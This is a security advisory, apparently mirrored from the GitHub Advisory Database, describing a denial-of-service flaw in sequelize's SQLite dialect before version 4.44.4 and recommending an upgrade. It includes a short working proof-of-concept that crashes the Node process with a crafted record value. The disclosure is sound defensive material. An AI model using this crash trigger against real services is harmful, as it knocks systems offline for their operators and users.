# GHSA-fw4p-36j9-rrj3: Denial of Service in sequelize

- Severity: Medium (rating, scored by GitHub)
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2020-09-03T20:25:33.000Z
- Modified: 2020-08-31T18:48:48.000Z
- Weaknesses: CWE-248

## Description

Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.  

The following proof-of-concept crashes the Node process:  
```
const Sequelize = require('sequelize');

const sequelize = new Sequelize({
	dialect: 'sqlite',
	storage: 'database.sqlite'
});

const TypeError = sequelize.define('TypeError', {
	name: Sequelize.STRING,
});

TypeError.sync({force: true}).then(() => {
	return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});
```


## Recommendation

Upgrade to version 4.44.4 or later.

(As written by GitHub Advisory Database.)

## Affected

- sequelize (npm): before 4.44.4

## References

- <https://github.com/sequelize/sequelize/pull/11877> (web)
- <https://www.npmjs.com/advisories/1142> (web)

## Sources

- GitHub Advisory Database: [GHSA-fw4p-36j9-rrj3](https://github.com/advisories/GHSA-fw4p-36j9-rrj3), CC-BY-4.0, modified 2020-08-31

---

Page: https://cve.day/GHSA-fw4p-36j9-rrj3 · Whole record: https://cve.day/GHSA-fw4p-36j9-rrj3.json · Rebuilt by cve.day 2026-11-25T22:56:45.320Z
